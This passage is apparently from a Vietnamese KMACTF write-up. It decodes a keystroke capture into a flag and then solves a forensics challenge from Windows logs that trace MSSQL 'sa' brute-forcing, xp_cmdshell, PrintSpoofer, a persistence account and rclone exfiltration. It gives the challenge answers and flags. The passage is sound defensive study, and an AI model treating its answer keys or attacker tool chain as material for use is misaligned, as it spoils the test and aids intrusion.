[SHIFT]KMACTF[SHIFT] [[SHIFT] A[SHIFT] _½[SHIFT] I[SHIFT] _½[SHIFT] [SHIFT] U [SHIFT]_½E[SHIFT] _½OKAH[BACK][BACK]ASHI_½SHITA_½[SHIFT] K4[SHIFT] K1[SHIFT] _½KUU[BACK][BACK][SHIFT] UU[SHIFT] _½[SHIFT] KK3[SHIFT] [SHIFT] [SHIFT] _½K0[SHIFT] NN4[SHIFT] _½N1[SHIFT] _½@ý [BACK][BACK][SHIFT] M0[SHIFT] ]D[BACK][SHIFT] Y
[CONTROL]¢H[SHIFT] Y
```
Chịu khó ngồi lọc kí tự và xóa kí tự theo cú pháp hợp lí mình có được flag.
> Flag: KMACTF{A_I_U_E_OKASHI_SHITA_K4K1_KUU_KK3_K0NN4_N1_M0}
> 
---
## 3. Analyzer

Bài cho mình 2 folder log:

> Tổng quan:
> Folder hunting_log:
> Chứa các file CSV liên quan đến Windows forensics (Prefetch, Amcache, Netstat, Autoruns, Pslist, v.v.).
> Các file có thể chứa thông tin về quy trình, kết nối mạng, hoặc dấu vết của attacker.
>
> Folder logs:
> Chứa các file .evtx (Windows Event Logs) từ nhiều kênh khác nhau (Security, System, Application, PowerShell, RemoteDesktop, v.v.).
> Các file này ghi lại sự kiện hệ thống, đăng nhập, và hoạt động của ứng dụng, rất hữu ích để tìm dấu hiệu đăng nhập thành công hoặc hành vi bất thường.
Việc của mình là tìm kiếm và trả lời các câu hỏi tương ứng khi nc đến server:
### 3.1 Which account was successfully compromised by the attacker?
Tìm kiếm như bình thường mình bắt đầu với log `Security.evtx` ở event id `4624`, tuy nhiên mình thử các user trong đó đều không đúng, để ý lại mình thấy được file `Application.evtx` dung lượng khá lớn, cộng với hint của author là `user mssql server`, mình chuyển hướng điều tra sang Kiểm tra Application.evtx (sự kiện MSSQL Server):

Có thể thấy 1 loạt sự kiện Attacker đã cố gắng đăng nhập vào SQL Server bằng tài khoản sa nhưng thất bại. Khả năng là bruteforce, và đây là user khả nghi:

> sa
### 3.2 What technique from the MITRE ATT&CK framework did the attacker use to compromise the account?
Từ manh mối qua các sự kiện bruteforce user trên, mình có thể xác định kỹ thuật MITRE ATT&CK 1 cách dễ dàng:


> T1110
### 3.3 How many failed login attempts were recorded?
Vẫn trong file `Application.evtx`, mình có thể dễ dàng tìm được số lượng đăng nhập thất bại thông qua bộ lọc:


Có thể thấy số lượng brute mà kẻ tấn công đã thử là `44904`:

> 44904
### 3.4 When did the attacker first gain cmd access? (UTC+7) Ex: 2022-12-20_09:08:07
Mình dùng lệnh find với từ khóa `cmd` thì có được:

Chi tiết sự kiện:
xp_cmdshell: Tên của tùy chọn cấu hình được thay đổi.
0: Giá trị cũ (trước khi thay đổi). 0 nghĩa là xp_cmdshell đang tắt.
1: Giá trị mới (sau khi thay đổi). 1 nghĩa là xp_cmdshell đã được bật.
Ý nghĩa:
xp_cmdshell là một stored procedure trong SQL Server, cho phép thực thi lệnh hệ thống (như cmd.exe) từ SQL Server.
Sự kiện này cho thấy attacker (hoặc ai đó) đã bật xp_cmdshell (từ trạng thái tắt sang bật). Đây là bước chuẩn bị để attacker có thể chạy lệnh cmd.exe thông qua SQL Server.
Ngữ cảnh:
Attacker đã xâm phạm tài khoản sa (SQL Server) thông qua brute-force (T1110), với 44,904 lần đăng nhập thất bại.
Và nó cũng là kết quả xuất hiện đầu tiên nên mình lấy sub thử, và nó đúng:

> 2025-03-09_15:37:05
### 3.5 What is the path to the executable file that the attacker used for privilege escalation?
Với câu hỏi này thì mình sẽ chuyển hướng điều tra sang log khác, cụ thể ở đây là File Amcache.csv: Đây là một phần của Windows Amcache (Application Compatibility Cache), ghi lại các file thực thi đã được chạy trên hệ thống. Các cột quan trọng:
- EntryName: Tên file thực thi.
- EntryPath: Đường dẫn đầy đủ đến file thực thi.
- Publisher: Nhà phát hành của file.
- SHA1: Mã băm SHA1 của file, giúp xác định tính xác thực.
Để xác định file thực thi mà attacker dùng cho leo thang đặc quyền, mình sẽ tìm các file bất thường hoặc công cụ thường được sử dụng để leo thang đặc quyền trong danh sách từ Amcache.csv. Các tiêu chí:
- File không phải của Microsoft hoặc các nhà phát hành hợp lệ (như VMware).
- File nằm ở vị trí bất thường (như C:\Users\Public, C:\Windows\Temp).
- File có liên quan đến các kỹ thuật leo thang đặc quyền
Sau khi đọc file log mình thấy được 1 số file khả nghi:
**mimikatz.exe:**
- Đường dẫn: `c:\users\public\main\mimikatz-master\x64\mimikatz.exe`
- Publisher: gentilkiwi (benjamin delpy)
Ý nghĩa:
- Mimikatz là công cụ nổi tiếng để trích xuất thông tin đăng nhập (credentials) và leo thang đặc quyền, thường được sử dụng để lấy mật khẩu tài khoản Windows (như Administrator) hoặc chạy lệnh với quyền SYSTEM.
- Đường dẫn `C:\Users\Public` là vị trí bất thường, thường được attacker sử dụng để lưu các công cụ độc hại.
**PrintSpoofer64.exe:**
- Đường dẫn: `c:\users\public\printspoofer64.exe`
- Publisher: Không có (rỗng)
Ý nghĩa:
- PrintSpoofer là công cụ leo thang đặc quyền, khai thác dịch vụ Print Spooler của Windows để chạy lệnh với quyền SYSTEM.
- Đường dẫn `C:\Users\Public` là bất thường, phù hợp với hành vi của attacker.
**nc.exe (Netcat):**
- Đường dẫn: `c:\users\public\nc.exe`
- Publisher: Không có (rỗng)
Ý nghĩa:
- Netcat là công cụ kết nối mạng, thường được attacker sử dụng để tạo shell ngược (reverse shell) hoặc chuyển file, nhưng không phải công cụ trực tiếp để leo thang đặc quyền.
- Đường dẫn `C:\Users\Public` là bất thường.
**rclone.exe:**
- Đường dẫn: `c:\program files\rclone\rclone.exe`
- Publisher: https://rclone.org
Ý nghĩa:
- Rclone là công cụ sao lưu và đồng bộ dữ liệu, thường được attacker sử dụng để tải file lên hoặc xuống từ đám mây, nhưng không phải công cụ leo thang đặc quyền.
**autorunsc64.exe:**
- Đường dẫn: `c:\program files\velociraptor\tools\autorunsc64.exe`
- Publisher: sysinternals - www.sysinternals.com
Ý nghĩa:
- Autoruns là công cụ từ Sysinternals, dùng để kiểm tra các chương trình tự động chạy. Attacker có thể sử dụng để duy trì quyền truy cập (persistence), nhưng không phải công cụ leo thang đặc quyền.
> Các file của Microsoft hoặc VMware:
> Các file như net.exe, powershell.exe, conhost.exe, sqlservr.exe, v.v., đều là file hợp lệ của Windows hoặc SQL Server, không có dấu hiệu bất thường.
Thử từng lựa chọn và mình đúng ở `c:\users\public\printspoofer64.exe`

> c:\users\public\printspoofer64.exe
### 3.6 What account did the attacker create to maintain persistence?
Quay lại với file log `Security.evtx` mình bỏ lỡ từ ban đầu, đặc biệt ở event id Ghi lại khi một tài khoản người dùng mới được tạo:

```bash=
./hayabusa-3.1.1-lin-x64-gnu search -f ~/Desktop/eventlog/Logs/Security.evtx --keyword "4720" -o security_account_creation.csv -C
cat security_account_creation.csv
"Timestamp","EventTitle","Hostname","Channel","Event ID","Record ID","AllFieldInfo","EvtxFile"
"2025-03-06 04:48:36.049 +07:00","User account created","WIN-M0LS22T4EKH","Sec",4720,54,"AccountExpires: %%1794 ¦ AllowedToDelegateTo: - ¦ DisplayName: %%1793 ¦ HomeDirectory: %%1793 ¦ HomePath: %%1793 ¦ LogonHours: %%1797 ¦ NewUacValue: 0x15 ¦ OldUacValue: 0x0 ¦ PasswordLastSet: %%1794 ¦ PrimaryGroupId: 513 ¦ PrivilegeList: - ¦ ProfilePath: %%1793 ¦ SamAccountName: WDAGUtilityAccount ¦ ScriptPath: %%1793 ¦ SidHistory: - ¦ SubjectDomainName: ¦ SubjectLogonId: 0x3e7 ¦ SubjectUserName: MINWINPC$ ¦ SubjectUserSid: S-1-5-18 ¦ TargetDomainName: MINWINPC ¦ TargetSid: S-1-5-21-522953191-1411890807-4202804633-504 ¦ TargetUserName: WDAGUtilityAccount ¦ UserAccountControl: %%2080 %%2082 %%2084 ¦ UserParameters: %%1793 ¦ UserPrincipalName: - ¦ UserWorkstations: %%1793","/home/kali/Desktop/eventlog/Logs/Security.evtx"
"2025-03-09 16:30:15.254 +07:00","User account created","WIN-M0LS22T4EKH","Sec",4720,1778,"AccountExpires: %%1794 ¦ AllowedToDelegateTo: - ¦ DisplayName: %%1793 ¦ HomeDirectory: %%1793 ¦ HomePath: %%1793 ¦ LogonHours: %%1797 ¦ NewUacValue: 0x15 ¦ OldUacValue: 0x0 ¦ PasswordLastSet: %%1794 ¦ PrimaryGroupId: 513 ¦ PrivilegeList: - ¦ ProfilePath: %%1793 ¦ SamAccountName: admin ¦ ScriptPath: %%1793 ¦ SidHistory: - ¦ SubjectDomainName: WORKGROUP ¦ SubjectLogonId: 0x3e7 ¦ SubjectUserName: WIN-M0LS22T4EKH$ ¦ SubjectUserSid: S-1-5-18 ¦ TargetDomainName: WIN-M0LS22T4EKH ¦ TargetSid: S-1-5-21-522953191-1411890807-4202804633-1001 ¦ TargetUserName: admin ¦ UserAccountControl: %%2080 %%2082 %%2084 ¦ UserParameters: %%1793 ¦ UserPrincipalName: - ¦ UserWorkstations: %%1793","/home/kali/Desktop/eventlog/Logs/Security.evtx"
```
Có 2 event được liệt kê:
**Event 1:**
- Timestamp: 2025-03-06 04:48:36.049 +07:00
- TargetUserName: WDAGUtilityAccount
- SubjectUserSid: S-1-5-18 (tương ứng với tài khoản SYSTEM)
- SubjectUserName: MINWINPC$
- TargetDomainName: MINWINPC
> Thời gian sự kiện này (ngày 6/3) xảy ra trước khi attacker giành quyền truy cập cmd (ngày 9/3), nên không liên quan đến hành động của attacker.
**Event 2:**
- Timestamp: 2025-03-09 16:30:15.254 +07:00
- TargetUserName: admin
- SubjectUserSid: S-1-5-18 (tương ứng với tài khoản SYSTEM)
- SubjectUserName: WIN-M0LS22T4EKH$
- TargetDomainName: WIN-M0LS22T4EKH
>Sự kiện này xảy ra sau khi attacker giành quyền truy cập cmd (2025-03-09_15:37:05), khoảng 53 phút sau (từ 15:37:05 đến 16:30:15).
>
> Tên tài khoản admin là bất thường và không phải tài khoản mặc định của Windows (như Administrator hoặc WDAGUtilityAccount).
>
> Attacker đã leo thang lên quyền SYSTEM (bằng PrintSpoofer64.exe), nên có khả năng sử dụng quyền này để tạo tài khoản admin.

> admin
### 3.7 What tool did the attacker use for data exfiltration?(lowercase)
Ở câu hỏi này mình tận dụng mấy công cụ từ câu số 5 ở trên:

Vì câu hỏi là Kẻ tấn công đã sử dụng công cụ nào để đánh cắp dữ liệu, mà đánh cắp thì liên quan đến upload, nên mình thử `rclone.exe`, và kết quả là nó chính xác.

> rclone.exe
```bash=
┌──(kali㉿kali)-[~]
└─$ nc 36.50.177.41 7001
1. Which account was successfully compromised by the attacker?
Answer: sa
Correct!!
2. What technique from the MITRE ATT&CK framework did the attacker use to compromise the account?
Answer: T1110
Correct!!
3. How many failed login attempts were recorded?
Answer: 44904
Correct!!
4. When did the attacker first gain cmd access? (UTC+7) Ex: 2022-12-20_09:08:07
Answer: 2025-03-09_15:37:05
Correct!!
5. What is the path to the executable file that the attacker used for privilege escalation?
Answer: c:\users\public\printspoofer64.exe
Correct!!
6. What account did the attacker create to maintain persistence?
Answer: admin
Correct!!
7. What tool did the attacker use for data exfiltration?(lowercase)
Answer: rclone.exe
Correct!!
```
> Flag: KMACTF{k1ng_of_analysis_l0g}

---